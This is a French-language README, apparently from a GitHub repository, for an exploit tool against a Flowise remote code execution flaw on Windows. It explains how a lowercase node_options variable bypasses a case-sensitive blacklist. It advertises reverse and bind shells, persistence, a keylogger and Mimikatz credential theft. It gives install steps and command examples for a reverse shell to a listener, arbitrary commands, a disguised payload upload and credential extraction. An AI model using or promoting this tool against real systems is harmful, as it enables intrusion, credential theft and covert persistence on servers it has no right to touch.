Flowise CVE-2026-58057 - Exploit d'exécution de code à distance sur Windows

📋 Vue d'ensemble

Cet outil est un exploit de qualité production pour CVE-2026-58057, une vulnérabilité critique d'exécution de code à distance dans Flowise sur les plateformes Windows. La vulnérabilité provient d'une validation des variables d'environnement sensible à la casse qui ne bloque pas la forme minuscule node_options, permettant aux attaquants de contourner la liste noire NODE_OPTIONS et d'exécuter du code arbitraire via la configuration stdio des MCP personnalisés.

L'exploit illustre des pratiques professionnelles de génie logiciel avec une architecture modulaire, une gestion complète des erreurs et la prise en charge de multiples types de charges utiles.

⚠️ Avertissement

IMPORTANT: Cet outil est fourni uniquement pour des tests de sécurité autorisés, des tests d'intrusion et à des fins éducatives. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel. Obtenez toujours une autorisation appropriée avant de tester un système.

🔍 Détails techniques

Cause racine de la vulnérabilité

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

Mécanisme de l'exploit

L'attaquant s'authentifie sur Flowise
Crée/modifie un nœud stdio MCP personnalisé
Injecte la variable d'environnement node_options en minuscules
Définit la valeur sur --require malicious-loader.js
Node.js exécute le chargeur lorsque le MCP stdio s'exécute
Exécution de code arbitraire obtenue

✨ Fonctionnalités

Capacités principales

✅ Reverse Shell - Connexion de retour vers la machine de l'attaquant
✅ Bind Shell - Ouvre un port d'écoute sur la cible
✅ Exécution de commandes - Exécute des commandes système arbitraires
✅ Upload de fichiers - Transfère des fichiers vers le système cible
✅ Persistance - Plusieurs mécanismes de persistance
✅ Collecte d'informations - Recueille des informations sur le système
✅ Extraction d'identifiants - Intégration Mimikatz
✅ Capture d'écran - Capture les captures d'écran du bureau
✅ Keylogger - Installe une capacité d'enregistrement des frappes clavier

Caractéristiques techniques

🔐 Méthodes d'authentification multiples - Clé API ou nom d'utilisateur/mot de passe
🔄 Logique de nouvelle tentative automatique - Résiliente face aux problèmes réseau
🧹 Auto-nettoyage - Supprime les fichiers chargeurs de la cible
🌐 Multi-plateforme - Fonctionne sur Windows/Linux/macOS
🎨 Sortie colorée - Lisibilité améliorée
📊 Débogage verbeux - Journalisation détaillée pour le dépannage

📦 Installation

Prérequis

Python 3.6 ou supérieur
pip (gestionnaire de paquets Python)

Installation rapide

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

Installation Docker (optionnelle)

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 Utilisation

Options de la ligne de commande

python3 exploit.py --help

Options d'authentification

Option	Description	Exemple
`-t, --target`	URL de Flowise (obligatoire)	`http://localhost:3000`
`-k, --api-key`	Clé API Flowise	`flowise_abc123...`
`-u, --username`	Nom d'utilisateur	`admin`
`-p, --password`	Mot de passe	`password123`

Options de charge utile

Option	Description	Exemple
`--payload`	Type de charge utile	`reverse_shell`
`--lhost`	Hôte de l'écouteur	`192.168.1.100`
`--lport`	Port de l'écouteur	`4444`
`--command`	Commande à exécuter	`whoami`
`--local-file`	Fichier à téléverser	`payload.exe`
`--remote-path`	Chemin d'enregistrement distant	`C:\\Temp\\update.exe`

Options d'exécution

Option	Description
`--interactive`	Démarrer un shell interactif
`--verbose`	Activer la sortie de débogage
`--timeout`	Délai d'expiration des requêtes en secondes
`--retries`	Nombre de tentatives

📝 Exemples d'utilisation

1. Reverse Shell de base

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. Reverse Shell interactif

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. Exécution de commande

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. Upload de fichier

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. Extraction d'identifiants (Mimikatz)

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

Flowise-CVE-2026-58057-exploit

Populaires

À propos